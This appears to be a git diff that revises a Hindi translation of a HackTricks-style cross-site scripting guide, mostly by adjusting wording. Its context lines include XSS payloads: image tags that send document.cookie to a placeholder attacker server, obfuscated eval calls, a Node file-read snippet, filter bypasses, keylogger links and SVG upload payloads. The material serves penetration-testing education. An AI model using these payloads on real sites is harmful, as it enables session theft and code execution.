```javascript
|
||||
'\b' //backspace
|
||||
'\f' //form feed
|
||||
|
@ -555,7 +555,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**जावास्क्रिप्ट टिप्पणियाँ (से** [**जावास्क्रिप्ट टिप्पणियाँ**](./#javascript-comments) **चालाकी)**
|
||||
**जावास्क्रिप्ट टिप्पणियाँ (से** [**जावास्क्रिप्ट टिप्पणियाँ**](./#javascript-comments) **कौशल)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
|
@ -563,7 +563,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**जावास्क्रिप्ट नई पंक्तियाँ (से** [**जावास्क्रिप्ट नई पंक्ति**](./#javascript-new-lines) **कौशल)**
|
||||
**जावास्क्रिप्ट नई पंक्तियाँ (से** [**जावास्क्रिप्ट नई पंक्ति**](./#javascript-new-lines) **कला)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -736,7 +736,7 @@ top[8680439..toString(30)](1)
|
|||
## **DOM कमजोरियाँ**
|
||||
|
||||
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
|
||||
**व्याख्या के विस्तार के कारण** [**DOM कमजोरियों को इस पृष्ठ पर स्थानांतरित किया गया**](dom-xss.md)**:**
|
||||
**व्याख्या के विस्तार के कारण** [**DOM कमजोरियों को इस पृष्ठ पर स्थानांतरित किया गया है**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -763,7 +763,7 @@ top[8680439..toString(30)](1)
|
|||
|
||||
### सत्र मिररिंग
|
||||
|
||||
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए, ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं, उसे देखेगा लेकिन अपने सत्र से।
|
||||
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं, उसे देखेगा लेकिन अपने सत्र से।
|
||||
|
||||
आप **व्यवस्थापक को आपके self XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
|
||||
|
||||
|
@ -771,7 +771,7 @@ top[8680439..toString(30)](1)
|
|||
|
||||
### सामान्यीकृत यूनिकोड
|
||||
|
||||
आप यह जांच सकते हैं कि **प्रतिबिंबित मान** सर्वर (या क्लाइंट साइड) में **यूनिकोड सामान्यीकृत** हो रहे हैं और इस कार्यक्षमता का दुरुपयोग करके सुरक्षा को बायपास कर सकते हैं। [**यहाँ एक उदाहरण खोजें**](../unicode-injection/#xss-cross-site-scripting)।
|
||||
आप यह जांच सकते हैं कि **प्रतिबिंबित मान** सर्वर (या क्लाइंट साइड) में **यूनिकोड सामान्यीकृत** हो रहे हैं और इस कार्यक्षमता का दुरुपयोग करके सुरक्षा को बायपास कर सकते हैं। [**यहाँ एक उदाहरण खोजें**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL ध्वज बायपास
|
||||
```javascript
|
||||
|
@ -825,11 +825,11 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
यदि आप पाते हैं कि आप **302 Redirect response में headers inject कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने** की कोशिश कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP response body को 302 HTTP response status code होने पर नहीं समझते, इसलिए केवल एक cross-site scripting payload बेकार है।
|
||||
|
||||
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस रिपोर्ट**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल का परीक्षण कैसे कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को XSS payload को body के अंदर निरीक्षण और निष्पादित करने की अनुमति देता है।\
|
||||
पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली Location header_, `resource://`।
|
||||
पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली Location header_, `resource://`.
|
||||
|
||||
### केवल अक्षर, संख्या और बिंदु
|
||||
|
||||
यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **निष्पादित** करने जा रहा है, उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](./#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे किया जाए।
|
||||
यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **execute** करने जा रहा है, उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](./#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे किया जाए।
|
||||
|
||||
### XSS के लिए मान्य `<script>` Content-Types
|
||||
|
||||
|
@ -837,7 +837,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
केवल **Content-Type** जो Chrome को **लोड की गई स्क्रिप्ट** चलाने में सहायता करेगा, वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
केवल **Content-Type** जो Chrome को **लोड की गई स्क्रिप्ट** चलाने में सहायता करेंगे, वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -865,10 +865,10 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
उत्तर है:
|
||||
The answer is:
|
||||
|
||||
* **module** (डिफ़ॉल्ट, समझाने के लिए कुछ नहीं)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक विशेषता है जिससे आप एक साथ कई डेटा (HTML, CSS, JS…) को **`.wbn`** फ़ाइल में पैकेज कर सकते हैं।
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक विशेषता है जिससे आप कई डेटा (HTML, CSS, JS…) को एक साथ **`.wbn`** फ़ाइल में पैकेज कर सकते हैं।
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -930,7 +930,7 @@ import { partition } from "lodash";
|
|||
|
||||
### xml Content Type
|
||||
|
||||
यदि पृष्ठ एक text/xml सामग्री प्रकार वापस कर रहा है, तो एक namespace को इंगित करना और मनमाना JS निष्पादित करना संभव है:
|
||||
यदि पृष्ठ एक text/xml सामग्री प्रकार लौटाता है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
|
@ -940,9 +940,9 @@ import { partition } from "lodash";
|
|||
```
|
||||
### विशेष प्रतिस्थापन पैटर्न
|
||||
|
||||
जब कुछ इस तरह का **`"some {{template}} data".replace("{{template}}", <user_input>)`** उपयोग किया जाता है। हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
जब कुछ ऐसा **`"some {{template}} data".replace("{{template}}", <user_input>)`** उपयोग किया जाता है। हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग **एक स्क्रिप्ट के अंदर JSON स्ट्रिंग को स्केप करने** और मनमाने कोड को निष्पादित करने के लिए किया गया था।
|
||||
उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग **एक JSON स्ट्रिंग** को एक स्क्रिप्ट के अंदर स्केप करने और मनमाने कोड को निष्पादित करने के लिए किया गया था।
|
||||
|
||||
### क्रोम कैश से XSS
|
||||
|
||||
|
@ -1006,7 +1006,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
पिछले उदाहरण की तरह, **त्रुटि हैंडलर** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुँचने और **`require`** फ़ंक्शन प्राप्त करना संभव है:
|
||||
पिछले उदाहरण की तरह, **त्रुटि हैंडलर** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुंचना और **`require`** फ़ंक्शन प्राप्त करना संभव है:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1094,7 +1094,7 @@ trigger()
|
|||
[iframe-traps.md](../iframe-traps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### कुकीज़ प्राप्त करें
|
||||
### कुकीज़ पुनः प्राप्त करें
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
|
@ -1221,7 +1221,7 @@ body:username.value+':'+this.value
|
|||
|
||||
### कीलॉगर
|
||||
|
||||
बस गिटहब पर खोजते समय मैंने कुछ अलग-अलग पाए:
|
||||
बस गिटहब में खोजते समय मैंने कुछ अलग-अलग पाए:
|
||||
|
||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
|
@ -1311,7 +1311,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
```
|
||||
### Regex - Access Hidden Content
|
||||
|
||||
[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से यह सीखना संभव है कि भले ही कुछ मान JS से गायब हो जाएं, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट तब भी पाया जा सकता है जब regex के इनपुट का मान हटा दिया गया हो:
|
||||
[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से यह सीखना संभव है कि भले ही कुछ मान JS से गायब हो जाएं, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट तब भी ढूंढना संभव है जब regex के इनपुट का मान हटा दिया गया हो:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1334,7 +1334,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### Markdown में XSS
|
||||
|
||||
क्या आप Markdown कोड इंजेक्ट कर सकते हैं जो रेंडर होगा? शायद आप XSS प्राप्त कर सकते हैं! जांचें:
|
||||
क्या आप ऐसा Markdown कोड इंजेक्ट कर सकते हैं जो रेंडर होगा? शायद आप XSS प्राप्त कर सकते हैं! जांचें:
|
||||
|
||||
{% content-ref url="xss-in-markdown.md" %}
|
||||
[xss-in-markdown.md](xss-in-markdown.md)
|
||||
|
@ -1346,12 +1346,12 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
इसे कुकी प्रतिबंधों, XSS फ़िल्टर और बहुत कुछ को बायपास करने के लिए उपयोग करें!\
|
||||
इस तकनीक के बारे में अधिक जानकारी यहाँ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
Use it to bypass cookie restrictions, XSS filters and much more!\
|
||||
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### गतिशील रूप से बनाए गए PDF में XSS
|
||||
### XSS in dynamic created PDF
|
||||
|
||||
यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाने JS कोड को निष्पादित** करे।\
|
||||
यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाना JS कोड निष्पादित** करे।\
|
||||
तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके **सर्वर XSS** का कारण बन सकते हैं।
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -1364,15 +1364,15 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
[pdf-injection.md](pdf-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Amp4Email में XSS
|
||||
### XSS in Amp4Email
|
||||
|
||||
AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर दिया जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP घटकों](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
|
||||
AMP, जो मोबाइल उपकरणों पर वेब पृष्ठ के प्रदर्शन को तेज करने के लिए लक्षित है, HTML टैग को JavaScript द्वारा पूरक करता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप विशिष्ट AMP घटकों को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता अपने ईमेल के भीतर सीधे सामग्री के साथ इंटरैक्ट कर सकते हैं।
|
||||
|
||||
उदाहरण [**Gmail में Amp4Email में XSS का लेखन**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### फ़ाइलें अपलोड करते समय XSS (svg)
|
||||
### XSS uploading files (svg)
|
||||
|
||||
एक छवि के रूप में निम्नलिखित फ़ाइल को अपलोड करें (से [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
|
@ -1448,13 +1448,13 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
If you are interested in **hacking career** and hack the unhackable - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Reference in a new issue